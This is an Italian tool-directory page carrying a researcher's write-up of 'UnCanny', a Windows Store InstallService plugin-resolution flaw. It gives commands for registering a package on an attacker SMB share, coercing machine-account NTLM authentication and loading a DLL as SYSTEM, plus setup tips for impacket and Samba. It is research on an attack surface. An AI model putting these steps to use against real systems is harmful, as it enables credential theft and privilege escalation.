Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
UnCanny — Un'altra nuova primitiva di coercizione con LPE - coercizione NTLM dell'account di macchina da parte di un utente non amministratore tramite esperimenti di risoluzione del plugin di Windows Store InstallService | Kitploit
Strumenti/GitHubGitHub/0xhossam/uncanny
Escalation di PrivilegiExploitMovimento LateralePaper e RicercaApprendimento e FormazioneRed TeamingSviluppo Payload
GitHub0xhossam/uncanny

UnCanny

Un'altra nuova primitiva di coercizione con LPE - coercizione NTLM dell'account di macchina da parte di un utente non amministratore tramite esperimenti di risoluzione del plugin di Windows Store InstallService

Vedi Repository
87122 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

UNCanny Coerce

L'idea alla base di questa ricerca era semplice: volevo trovare una mia tecnica di coercizione. Ho iniziato cercando nuove superfici d'attacco RPC, ma dopo che Microsoft ha aggiunto il monitoraggio delle attività RPC (https://techcommunity.microsoft.com/blog/microsoftdefenderatpblog/microsoft-defender-now-monitors-rpc-activity/4523368), ho deciso di prendere una strada diversa.

UNCanny è il risultato di quella tana del bianconiglio. Non è qualcosa che considererei affidabile per vere operazioni red team a causa dei suoi limiti, ma penso comunque che gli appunti valgano la pena di essere pubblicati per chiunque stia scavando nella stessa area.


In breve, questa primitiva è:

un utente normale consegna al servizio di installazione di Windows Store alcuni metadati di installazione -> il servizio, in esecuzione come sistema locale, risolve un "plugin" per quel lavoro -> il resolver finisce per eseguire LoadLibraryW su un percorso influenzato dall'utente -> quel percorso è una UNC -> NTLM in uscita come account del computer.

Il componente è il mondo del servizio di installazione di Windows Store: InstallService.dll ospitato in InstallService.exe, in esecuzione come NT AUTHORITY\SYSTEM.

trovare la strana superficie

La tana del bianconiglio è iniziata con InstallService.dll. Stavo cercando componenti di Windows che installano pacchetti, ripristinano lo stato dopo il riavvio, riprendono processi falliti, leggono contenuti locali/remoti e caricano plugin. Qualsiasi cosa che abbia queste quattro cose insieme di solito ha una confusione di confini da qualche parte:

  • ha un lato chiamante più o meno pubblico perché il normale userland deve richiedere installazioni
  • ha un lato worker privilegiato perché la gestione delle installazioni/dello stato dei pacchetti richiede diritti di servizio
  • ha la serializzazione perché il lavoro deve sopravvivere al riavvio
  • ha il caricamento di plugin perché a Windows piace rendere le cose semplici modulari e spaventose

La classe runtime interessante era:

root@kitploit:~
Windows.Internal.InstallService.Control.InstallServiceControl
IID:    e4893a99-9270-42b9-9a62-683d6ceed250
method: vtable slot 8  ->  CreateInstallServiceWork(cv, caller, _, _, propertiesJson, optionsJson, out items)

alt text

È in quel parametro propertiesJson che si nasconde il divertimento. Il comportamento di installazione è descritto da campi json come FulfillmentPluginId, SourceUri, PackageFamilyName, SerializedFulfillmentData, SkipCatalogLookup, ProductId, SkuId.

All'inizio pensavo che il bug sarebbe stato "mettere una UNC in SourceUri e lasciare che il servizio la leggesse". Sarebbe stato bellissimo, ma Windows non è stato così generoso. Ho fatto reverse engineering del percorso di fulfillment integrato (CreateInstallServiceWorkFromBridge, InstallService.dll) e i plugin integrati semplicemente non fanno questo:

  • WU analizza il json ed esce su WinHTTP / Delivery Optimization. mai SMB.
  • ChainedWork e XVC sono la stessa storia o non sono nemmeno presenti su un client.
  • un SourceUri grezzo viene o rapidamente rifiutato o instradato nella validazione del catalogo. CreateCatalogItemFromLocalData, nonostante il nome, costruisce un elemento del catalogo dal json serializzato in memoria, non va ad aprire un file.

Quindi l'idea ingenua è un vicolo cieco, questa funzionalità è molto interessante e ci sto facendo anche altre primitive di ricerca e vale la pena dirlo ad alta voce così nessuno ci perde una settimana :)

SYSTEM tocca un percorso

L'unico punto dell'intero flusso di creazione/ripristino in cui il servizio tocca un percorso influenzato dall'attaccante è l'attivazione del plugin. La funzione è PluginHelpers::ActivatePlugin. Risolve FulfillmentPluginId in questo ordine:

  1. "WU" -> integrato
  2. "ChainedWork" -> integrato
  3. valore trovato in StaticPluginMap (HKLM) -> CoCreateInstance di un CLSID, o attiva una classe WinRT
  4. "XVC" -> factory xbox
  5. qualsiasi altra cosa -> trattala come un nome famiglia di pacchetti. FindPackagesForUser(pfn) -> prendi InstalledLocation.Path di quel pacchetto -> LoadLibraryW( path + "\InstallServicePlugin.dll" ) -> GetProcAddress("ActivatePlugin")

Il ramo 5 è quello giusto e PluginHelpers::IsPluginAvailable conferma il gate: restituisce true per qualsiasi FulfillmentPluginId che corrisponde a un pacchetto installato, tramite esattamente la stessa ricerca FindPackagesForUser.

alt text

Quindi se un FulfillmentPluginId punta a un pacchetto il cui InstalledLocation è una UNC, allora InstallService.exe in esecuzione come SYSTEM fa:

root@kitploit:~
LoadLibraryW( \\attacker\share\InstallServicePlugin.dll )

LoadLibraryW deve connettersi a \\attacker\share e autenticarsi prima di scoprire che la dll non c'è, e quell'autenticazione è la coercizione, e la dll non deve mai esistere.

alt text

la vera primitiva

L'unica domanda rimasta è "come fa un utente normale a ottenere un pacchetto il cui InstalledLocation è una UNC". La risposta è la registrazione loose-file, che è un'operazione per-utente, non elevata:

root@kitploit:~
Add-AppxPackage -Register \\attacker\share\AppxManifest.xml

Windows registra il pacchetto "sul posto", quindi l'InstalledLocation registrato è letteralmente la UNC a cui hai puntato. Poi attivi il lavoro con il nome famiglia di quel pacchetto come id del plugin.

  1. Add-AppxPackage -Register \\attacker\share\AppxManifest.xml
  2. CreateInstallServiceWork( FulfillmentPluginId = <that package's PFN> )

Il chiamante è un utente normale, l'autenticazione di rete è l'account del computer.

alt text

Un utente a bassi privilegi l'ha attivato, l'account del computer si è autenticato. È stato il loader di Windows stesso a toccare la UNC, non il chiamante.

coercizione su smb

lato attaccante

Due cose da sistemare prima di eseguire:

  • impacket-smbserver riporta il tipo di filesystem XTFS. AppX rifiuta di registrarsi su condivisioni non-NTFS (0x80073CFD). Applica una patch al campo FileSystemName in impacket/smbserver.py impostandolo a NTFS.

  • La condivisione deve contenere AppxManifest.xml, logo.png, dummy.exe. Non serve InstallServicePlugin.dll. MaxVersionTested nel manifest deve essere ≤ build del target (controlla con winver sul target).

Puoi eseguire poc/setup.sh dalla radice del repo su Kali. Popola la condivisione, applica la patch a impacket, carica poc.ps1 sul target tramite smbclient se TARGET_IP e TARGET_CREDS sono impostati, e avvia il server ;-)

Poi sulla tua workstation Windows, come utente a bassi privilegi, da una sessione interattiva:

root@kitploit:~
powershell -ExecutionPolicy Bypass -File poc.ps1 -AttackerHost ATTACKER_IP -Share coerce

LPE

C'è un secondo lato dello stesso bug più diretto della coercizione. Se InstallServicePlugin.dll esiste davvero nel percorso del pacchetto UNC, il servizio raggiunge comunque lo stesso ramo LoadLibraryW(\\attacker\share\InstallServicePlugin.dll), ma questa volta il loader ha successo e la dll viene mappata dentro il processo del servizio di installazione dello store come NT AUTHORITY\SYSTEM.

Quindi mi sono gasato cercando di provare questo problema e ho scritto il poc in lpe/. La cosa importante non è un altro trucco di registrazione di pacchetti, è lo stesso pacchetto loose registrato che viene riusato come pacchetto plugin. L'harness chiede il nome famiglia del pacchetto dell'utente a bassi privilegi con Get-AppxPackage, passa quel PFN come FulfillmentPluginId, imposta SkipCatalogLookup=true e include SerializedFulfillmentData. Quest'ultimo campo è importante perché InstallQueue2::CreateWork rifiuta la richiesta con 0x80070057 se il lookup del catalogo viene saltato senza dati di fulfillment.

È molto importante notare una cosa che ha richiesto molto tempo nel troubleshooting: impacket non può servire un'immagine caricabile. Risponde alle letture abbastanza bene da far autenticare l'account del computer, quindi il percorso di coercizione è perfettamente contento, ma LoadLibraryW contro una condivisione impacket restituisce null con ERROR_INVALID_HANDLE e DllMain non viene mai eseguito. Servi esattamente gli stessi file con un vero server SMB (Samba) e il caricamento riesce. Samba riporta NTFS di default quindi la registrazione loose funziona comunque. Quindi la regola è semplice: impacket quando vuoi solo l'hash, Samba quando vuoi che la dll venga davvero eseguita come SYSTEM!

In una esecuzione reale, attivata dall'utente a bassi privilegi, uncanny_lpe.txt mostra la dll mappata in svchost.exe e il token che risolve in NT AUTHORITY\SYSTEM / S-1-5-18, che è lo screenshot qui sotto.

prova lpe come utente a bassi privilegi

CreateInstallServiceWork restituisce comunque 0x800706BE con questa dll dimostrativa perché DllMain è già stata eseguita quando il servizio chiede la vera interfaccia del plugin e rinuncia :-)

ramo loadlibrary di activateplugin

limitazioni

Il limite è in realtà il motivo per cui ho deciso di pubblicare questa tecnica - la modalità sviluppatore deve essere abilitata per eseguirla. L'intera cosa dipende dal fatto che InstalledLocation.Path sia un percorso UNC, e dopo aver passato molto tempo a scavarci dentro, ho trovato solo un modo per farlo accadere. Un'installazione firmata normale copia il pacchetto in C:\Program Files\WindowsApps\..., imposta InstalledLocation lì, e quello è sempre un percorso locale.

L'unico percorso di registrazione che ho trovato e che mantiene i file dove già sono, anche su una condivisione UNC, è la registrazione loose-file (Add-AppxPackage -Register <manifest>). È esattamente ciò che la modalità sviluppatore (AllowDevelopmentWithoutDevLicense sotto HKLM\...\AppModelUnlock) sblocca. E il motivo per cui è bloccata ha senso. La registrazione loose crea praticamente un'identità di pacchetto attendibile da file arbitrari non firmati che si trovano in una posizione che controlli, il che aggira completamente il normale modello di fiducia dello store e della firma. Per questo, la modalità sviluppatore deve essere abilitata, e attualmente è il più grande limite della tecnica.

La parte interessante è che il lato InstallService non se ne preoccupa davvero e, una volta che un pacchetto del genere esiste, il ramo 5 di ActivatePlugin chiamerà felicemente LoadLibraryW su qualunque InstalledLocation.Path riceva. L'intero problema è ottenere in primo luogo un pacchetto la cui posizione di installazione punti a un percorso UNC senza aver bisogno della modalità sviluppatore.

Quindi, ho iniziato a fare reverse engineering dei guardrail cercando un'altra via d'accesso.

Il controllo della modalità sviluppatore non vive affatto dentro InstallService. Si trova dentro lo stack di distribuzione AppX (AppXDeploymentServer.dll e la policy di licenza di distribuzione) e alla fine legge HKLM\...\AppModelUnlock, che è controllato dall'amministratore. Non c'è nulla che un utente normale possa cambiare lì.

Ho anche inseguito quella che sembrava la bypass ovvia, come il sideloading

L'ho testata con sideloading abilitato e modalità sviluppatore disabilitata (IsSideloadingEnabled=1, IsDeveloperModeEnabled=0). La registrazione loose è fallita immediatamente e si è lamentata che l'origine del pacchetto era Unsigned e che non era possibile applicare alcuna licenza o policy di sideloading valida.

Ci sono ancora alcune strade che non ho escluso del tutto, puoi approfondirle se vuoi:

  • StaticPluginMap combinato con un hijack dell'ordine di ricerca COM
  • -ExternalLocation e contenuto esterno del pacchetto
  • symlink o junction
  • hijacking COM per-utente tramite HKCU\...\CLSID

rilevamenti?

Elastic probabilmente lo coprirà in un giorno.


  • Non sono responsabile di come queste informazioni vengono usate. Questa ricerca è pubblicata a scopo educativo, in fin dei conti, e può anche aiutare a migliorare la comprensione della superficie d'attacco.
Scarica lo strumento